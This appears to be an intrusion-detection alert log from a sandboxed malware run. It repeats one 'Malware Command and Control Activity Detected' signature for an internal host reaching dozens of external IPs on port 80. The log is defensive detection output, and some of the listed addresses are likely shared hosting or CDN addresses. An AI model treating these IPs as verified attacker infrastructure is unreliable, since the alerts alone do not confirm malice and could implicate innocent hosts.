2024-10-25T11:17:55.742847+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52724	188.114.96.3	80	TCP
2024-10-25T11:17:57.432089+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52736	103.224.182.253	80	TCP
2024-10-25T11:17:57.720815+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52735	104.218.10.254	80	TCP
2024-10-25T11:17:58.369667+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52742	103.224.182.253	80	TCP
2024-10-25T11:17:59.862120+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52750	157.112.176.4	80	TCP
2024-10-25T11:18:01.309361+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52758	173.254.28.29	80	TCP
2024-10-25T11:18:01.548760+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52758	173.254.28.29	80	TCP
2024-10-25T11:18:04.705364+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52769	157.112.182.239	80	TCP
2024-10-25T11:18:06.372255+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52780	192.124.249.20	80	TCP
2024-10-25T11:18:06.404067+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52784	104.21.23.9	80	TCP
2024-10-25T11:18:06.432418+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52781	188.114.97.3	80	TCP
2024-10-25T11:18:06.451671+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52785	3.19.116.195	80	TCP
2024-10-25T11:18:06.458987+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52786	70.39.251.249	80	TCP
2024-10-25T11:18:06.572070+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52780	192.124.249.20	80	TCP
2024-10-25T11:18:06.572524+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52784	104.21.23.9	80	TCP
2024-10-25T11:18:06.610744+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52787	80.93.82.33	80	TCP
2024-10-25T11:18:06.636671+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52789	34.218.204.173	80	TCP
2024-10-25T11:18:06.638989+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52786	70.39.251.249	80	TCP
2024-10-25T11:18:06.663310+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52783	59.106.19.204	80	TCP
2024-10-25T11:18:06.680532+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52781	188.114.97.3	80	TCP
2024-10-25T11:18:06.693182+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52788	118.27.125.181	80	TCP
2024-10-25T11:18:06.921513+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52787	80.93.82.33	80	TCP
2024-10-25T11:18:06.947950+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52781	188.114.97.3	80	TCP
2024-10-25T11:18:07.033390+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52800	104.21.23.9	80	TCP
2024-10-25T11:18:07.077636+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52802	192.124.249.20	80	TCP
2024-10-25T11:18:07.113021+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52799	3.19.116.195	80	TCP
2024-10-25T11:18:07.119628+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52798	70.39.251.249	80	TCP
2024-10-25T11:18:07.155744+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52796	188.114.97.3	80	TCP
2024-10-25T11:18:07.196975+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52781	188.114.97.3	80	TCP
2024-10-25T11:18:07.215661+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52804	3.19.116.195	80	TCP
2024-10-25T11:18:07.251457+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52801	80.93.82.33	80	TCP
2024-10-25T11:18:07.260079+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52797	34.218.204.173	80	TCP
2024-10-25T11:18:07.279465+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52800	104.21.23.9	80	TCP
2024-10-25T11:18:07.308397+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52794	118.27.125.181	80	TCP
2024-10-25T11:18:07.313409+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52802	192.124.249.20	80	TCP
2024-10-25T11:18:07.333474+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52793	59.106.19.204	80	TCP
2024-10-25T11:18:07.333831+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52808	104.26.7.221	80	TCP
2024-10-25T11:18:07.344609+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52798	70.39.251.249	80	TCP
2024-10-25T11:18:07.394096+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52805	34.149.87.45	80	TCP
2024-10-25T11:18:07.426281+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52796	188.114.97.3	80	TCP
2024-10-25T11:18:07.442151+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52781	188.114.97.3	80	TCP
2024-10-25T11:18:07.567439+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52801	80.93.82.33	80	TCP
2024-10-25T11:18:07.570032+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52811	104.21.88.198	80	TCP
2024-10-25T11:18:07.684792+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52809	142.250.186.147	80	TCP
2024-10-25T11:18:07.725399+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52811	104.21.88.198	80	TCP
2024-10-25T11:18:07.748059+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52796	188.114.97.3	80	TCP
2024-10-25T11:18:07.820681+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52815	185.15.129.58	80	TCP
2024-10-25T11:18:07.838671+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52814	3.19.116.195	80	TCP
2024-10-25T11:18:07.879063+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52806	170.82.174.30	80	TCP
2024-10-25T11:18:07.995439+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52796	188.114.97.3	80	TCP
2024-10-25T11:18:08.034811+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52817	54.161.222.85	80	TCP
2024-10-25T11:18:08.161475+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52825	104.26.7.221	80	TCP
2024-10-25T11:18:08.186289+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52823	188.114.97.3	80	TCP
2024-10-25T11:18:08.204754+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52820	34.149.87.45	80	TCP
2024-10-25T11:18:08.215423+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52826	104.21.88.198	80	TCP
2024-10-25T11:18:08.239675+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52827	185.15.129.58	80	TCP
2024-10-25T11:18:08.244330+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52796	188.114.97.3	80	TCP
2024-10-25T11:18:08.246074+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52816	89.161.163.246	80	TCP
2024-10-25T11:18:08.357583+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52823	188.114.97.3	80	TCP
2024-10-25T11:18:08.366926+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52826	104.21.88.198	80	TCP
2024-10-25T11:18:08.398647+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52824	62.122.190.121	80	TCP
2024-10-25T11:18:08.408538+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52806	170.82.174.30	80	TCP
2024-10-25T11:18:08.421563+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52818	170.82.174.30	80	TCP
2024-10-25T11:18:08.472184+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52821	142.250.186.147	80	TCP
2024-10-25T11:18:08.682522+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52824	62.122.190.121	80	TCP
2024-10-25T11:18:08.717322+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52830	139.59.171.124	80	TCP
2024-10-25T11:18:08.719097+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52832	54.161.222.85	80	TCP
2024-10-25T11:18:08.745618+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52834	192.252.154.18	80	TCP
2024-10-25T11:18:08.780883+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52833	13.248.252.114	80	TCP
2024-10-25T11:18:08.795493+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52835	54.161.222.85	80	TCP
2024-10-25T11:18:08.896076+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52818	170.82.174.30	80	TCP
2024-10-25T11:18:08.927415+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52831	89.161.163.246	80	TCP
2024-10-25T11:18:08.947519+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52843	188.114.97.3	80	TCP
2024-10-25T11:18:08.957006+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52822	104.26.15.53	80	TCP
2024-10-25T11:18:08.972034+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52830	139.59.171.124	80	TCP
2024-10-25T11:18:09.124132+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52840	139.59.171.124	80	TCP
2024-10-25T11:18:09.175629+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52843	188.114.97.3	80	TCP
2024-10-25T11:18:09.186692+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52842	62.122.190.121	80	TCP
2024-10-25T11:18:09.198372+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52841	60.43.154.138	80	TCP
2024-10-25T11:18:09.224842+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52846	192.252.154.18	80	TCP
2024-10-25T11:18:09.229765+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52848	141.193.213.11	80	TCP
2024-10-25T11:18:09.258963+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52845	13.248.252.114	80	TCP
2024-10-25T11:18:09.375122+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52847	34.218.204.173	80	TCP
2024-10-25T11:18:09.375730+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52840	139.59.171.124	80	TCP
2024-10-25T11:18:09.428047+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52848	141.193.213.11	80	TCP
2024-10-25T11:18:09.458298+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52852	54.161.222.85	80	TCP
2024-10-25T11:18:09.487374+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52842	62.122.190.121	80	TCP
2024-10-25T11:18:09.498125+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52854	192.124.249.10	80	TCP
2024-10-25T11:18:09.502425+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52841	60.43.154.138	80	TCP
2024-10-25T11:18:09.603490+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52839	104.26.15.53	80	TCP
2024-10-25T11:18:09.635124+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52851	80.74.154.6	80	TCP
2024-10-25T11:18:09.723474+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52854	192.124.249.10	80	TCP
2024-10-25T11:18:09.752021+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52858	141.193.213.11	80	TCP
2024-10-25T11:18:09.916743+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52851	80.74.154.6	80	TCP
2024-10-25T11:18:09.938565+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52858	141.193.213.11	80	TCP
2024-10-25T11:18:09.939297+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52856	60.43.154.138	80	TCP
2024-10-25T11:18:09.960881+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52862	172.67.173.200	80	TCP
2024-10-25T11:18:09.992787+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52859	185.80.51.179	80	TCP
2024-10-25T11:18:10.010927+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52864	198.185.159.144	80	TCP
2024-10-25T11:18:10.054167+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52863	192.124.249.10	80	TCP
2024-10-25T11:18:10.123074+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52860	34.218.204.173	80	TCP
2024-10-25T11:18:10.201882+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52862	172.67.173.200	80	TCP
2024-10-25T11:18:10.210776+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52872	172.67.173.200	80	TCP
2024-10-25T11:18:10.225827+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52863	192.124.249.10	80	TCP
2024-10-25T11:18:10.300250+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52866	135.181.73.98	80	TCP
2024-10-25T11:18:10.319709+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52856	60.43.154.138	80	TCP
2024-10-25T11:18:10.342108+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52859	185.80.51.179	80	TCP
2024-10-25T11:18:10.374444+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52872	172.67.173.200	80	TCP
2024-10-25T11:18:10.456935+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52871	80.74.154.6	80	TCP
2024-10-25T11:18:10.461995+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52870	185.80.51.179	80	TCP
2024-10-25T11:18:10.462023+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52869	81.2.194.241	80	TCP
2024-10-25T11:18:10.575648+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52866	135.181.73.98	80	TCP
2024-10-25T11:18:10.644860+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52874	188.165.133.163	80	TCP
2024-10-25T11:18:10.684751+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52868	116.211.150.37	80	TCP
2024-10-25T11:18:10.689076+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52880	198.185.159.144	80	TCP
2024-10-25T11:18:10.717503+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52879	188.114.96.3	80	TCP
2024-10-25T11:18:10.808175+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52871	80.74.154.6	80	TCP
2024-10-25T11:18:10.811305+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52869	81.2.194.241	80	TCP
2024-10-25T11:18:10.816172+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52870	185.80.51.179	80	TCP
2024-10-25T11:18:10.931564+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52874	188.165.133.163	80	TCP
2024-10-25T11:18:10.932027+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52879	188.114.96.3	80	TCP
2024-10-25T11:18:10.946549+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52877	202.254.236.40	80	TCP
2024-10-25T11:18:10.959565+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52878	81.2.194.241	80	TCP
2024-10-25T11:18:10.964065+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52882	69.163.239.62	80	TCP
2024-10-25T11:18:11.072143+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52881	135.181.73.98	80	TCP
2024-10-25T11:18:11.128536+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52883	188.165.133.163	80	TCP
2024-10-25T11:18:11.232456+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52882	69.163.239.62	80	TCP
2024-10-25T11:18:11.273828+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52888	69.163.239.62	80	TCP
2024-10-25T11:18:11.292189+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52877	202.254.236.40	80	TCP
2024-10-25T11:18:11.320088+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52878	81.2.194.241	80	TCP
2024-10-25T11:18:11.359770+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52890	3.94.41.167	80	TCP
2024-10-25T11:18:11.367034+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52881	135.181.73.98	80	TCP
2024-10-25T11:18:11.385543+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52883	188.165.133.163	80	TCP
2024-10-25T11:18:11.438636+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52887	46.242.238.60	80	TCP
2024-10-25T11:18:11.469696+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52888	69.163.239.62	80	TCP
2024-10-25T11:18:11.545335+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52892	188.114.96.3	80	TCP
2024-10-25T11:18:11.656521+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52886	116.211.150.37	80	TCP
2024-10-25T11:18:11.690863+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52892	188.114.96.3	80	TCP
2024-10-25T11:18:11.832878+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52899	188.114.96.3	80	TCP
2024-10-25T11:18:12.249212+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52896	46.242.238.60	80	TCP
2024-10-25T11:18:12.249212+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52895	202.254.236.40	80	TCP
2024-10-25T11:18:12.249292+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52898	108.167.164.216	80	TCP
2024-10-25T11:18:12.249609+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52899	188.114.96.3	80	TCP
2024-10-25T11:18:12.249885+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52891	104.26.3.124	80	TCP
2024-10-25T11:18:12.249906+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52897	104.21.66.46	80	TCP
2024-10-25T11:18:12.250215+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52900	5.189.128.121	80	TCP
2024-10-25T11:18:12.250296+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52903	3.94.41.167	80	TCP
2024-10-25T11:18:12.250340+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52910	96.127.180.42	80	TCP
2024-10-25T11:18:12.250350+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52908	3.94.41.167	80	TCP
2024-10-25T11:18:12.259449+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52905	51.79.51.72	80	TCP
2024-10-25T11:18:12.369048+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52906	108.167.164.216	80	TCP
2024-10-25T11:18:12.437982+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52907	5.189.128.121	80	TCP
2024-10-25T11:18:12.484068+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52910	96.127.180.42	80	TCP
2024-10-25T11:18:12.504288+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52904	104.21.66.46	80	TCP
2024-10-25T11:18:12.516287+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52912	188.114.96.3	80	TCP
2024-10-25T11:18:12.591598+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52900	5.189.128.121	80	TCP
2024-10-25T11:18:12.604524+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52895	202.254.236.40	80	TCP
2024-10-25T11:18:12.729190+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52907	5.189.128.121	80	TCP
2024-10-25T11:18:12.739873+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52912	188.114.96.3	80	TCP
2024-10-25T11:18:12.906791+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52911	104.26.3.124	80	TCP
2024-10-25T11:18:13.007276+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52915	3.94.41.167	80	TCP
2024-10-25T11:18:13.009864+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52916	3.94.41.167	80	TCP
2024-10-25T11:18:13.117522+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52891	104.26.3.124	80	TCP
2024-10-25T11:18:13.231768+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52919	51.79.51.72	80	TCP
2024-10-25T11:18:13.271535+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52917	217.19.237.54	80	TCP
2024-10-25T11:18:13.290938+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52924	69.163.182.181	80	TCP
2024-10-25T11:18:13.303329+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52925	75.119.202.130	80	TCP
2024-10-25T11:18:13.346831+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52924	69.163.182.181	80	TCP
2024-10-25T11:18:13.351521+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52927	96.127.180.42	80	TCP
2024-10-25T11:18:13.383806+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52918	23.227.38.74	80	TCP
2024-10-25T11:18:13.390430+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52926	104.196.26.65	80	TCP
2024-10-25T11:18:13.516347+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52911	104.26.3.124	80	TCP
2024-10-25T11:18:13.538762+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52929	104.196.26.65	80	TCP
2024-10-25T11:18:13.601156+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52926	104.196.26.65	80	TCP
2024-10-25T11:18:13.632228+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52931	75.119.202.130	80	TCP
2024-10-25T11:18:13.660158+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52927	96.127.180.42	80	TCP
2024-10-25T11:18:13.685963+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52931	75.119.202.130	80	TCP
2024-10-25T11:18:13.730751+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52928	23.227.38.74	80	TCP
2024-10-25T11:18:13.738761+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52932	3.94.41.167	80	TCP
2024-10-25T11:18:13.745180+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52929	104.196.26.65	80	TCP
2024-10-25T11:18:13.926953+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52937	3.94.41.167	80	TCP
2024-10-25T11:18:13.943463+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52933	217.19.237.54	80	TCP
2024-10-25T11:18:14.066757+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52938	69.163.182.181	80	TCP
2024-10-25T11:18:14.120784+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52939	13.248.169.48	80	TCP
2024-10-25T11:18:14.205838+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52779	137.118.26.67	80	TCP
2024-10-25T11:18:14.216552+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52941	75.119.202.130	80	TCP
2024-10-25T11:18:14.305250+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52934	183.90.183.73	80	TCP
2024-10-25T11:18:14.382759+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52945	75.119.202.130	80	TCP
2024-10-25T11:18:14.451510+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52947	69.163.182.181	80	TCP
2024-10-25T11:18:14.505056+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52944	183.90.183.73	80	TCP
2024-10-25T11:18:14.547698+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52946	3.65.101.129	80	TCP
2024-10-25T11:18:14.654063+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52951	3.94.41.167	80	TCP
2024-10-25T11:18:14.711028+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52949	3.65.101.129	80	TCP
2024-10-25T11:18:14.715605+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52934	183.90.183.73	80	TCP
2024-10-25T11:18:14.726580+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52952	13.248.169.48	80	TCP
2024-10-25T11:18:14.743841+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52948	144.76.24.9	80	TCP
2024-10-25T11:18:14.763275+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52920	213.165.251.217	80	TCP
2024-10-25T11:18:14.801993+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52955	188.114.97.3	80	TCP
2024-10-25T11:18:14.804803+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52946	3.65.101.129	80	TCP
2024-10-25T11:18:14.884058+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52950	195.78.66.65	80	TCP
2024-10-25T11:18:14.911842+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52795	137.118.26.67	80	TCP
2024-10-25T11:18:14.976500+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52949	3.65.101.129	80	TCP
2024-10-25T11:18:14.985442+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52959	147.154.0.23	80	TCP
2024-10-25T11:18:15.032638+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52930	213.165.251.217	80	TCP
2024-10-25T11:18:15.053788+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52946	3.65.101.129	80	TCP
2024-10-25T11:18:15.058391+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52954	188.166.152.188	80	TCP
2024-10-25T11:18:15.108093+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52957	18.245.31.21	80	TCP
2024-10-25T11:18:15.190548+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52958	195.78.66.65	80	TCP
2024-10-25T11:18:15.222216+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52949	3.65.101.129	80	TCP
2024-10-25T11:18:15.270258+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52963	69.163.182.181	80	TCP
2024-10-25T11:18:15.306411+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52946	3.65.101.129	80	TCP
2024-10-25T11:18:15.325443+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52965	104.21.23.9	80	TCP
2024-10-25T11:18:15.351611+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52967	192.124.249.20	80	TCP
2024-10-25T11:18:15.366535+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52966	3.19.116.195	80	TCP
2024-10-25T11:18:15.413797+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52972	70.39.251.249	80	TCP
2024-10-25T11:18:15.430954+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52957	18.245.31.21	80	TCP
2024-10-25T11:18:15.438004+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52969	188.114.97.3	80	TCP
2024-10-25T11:18:15.471569+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52949	3.65.101.129	80	TCP
2024-10-25T11:18:15.477803+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52965	104.21.23.9	80	TCP
2024-10-25T11:18:15.518483+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52967	192.124.249.20	80	TCP
2024-10-25T11:18:15.540667+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52968	34.218.204.173	80	TCP
2024-10-25T11:18:15.553476+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52946	3.65.101.129	80	TCP
2024-10-25T11:18:15.555339+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52973	80.93.82.33	80	TCP
2024-10-25T11:18:15.590107+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52964	59.106.19.204	80	TCP
2024-10-25T11:18:15.594364+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52972	70.39.251.249	80	TCP
2024-10-25T11:18:15.597819+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52971	118.27.125.181	80	TCP
2024-10-25T11:18:15.631549+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52976	188.166.152.188	80	TCP
2024-10-25T11:18:15.637658+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52979	165.22.45.169	80	TCP
2024-10-25T11:18:15.648892+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52974	217.79.184.35	80	TCP
2024-10-25T11:18:15.676869+0200	2016867	1	Malware Command and Control Activity Detected	192.168.2.5	52969	188.114.97.3	80	TCP
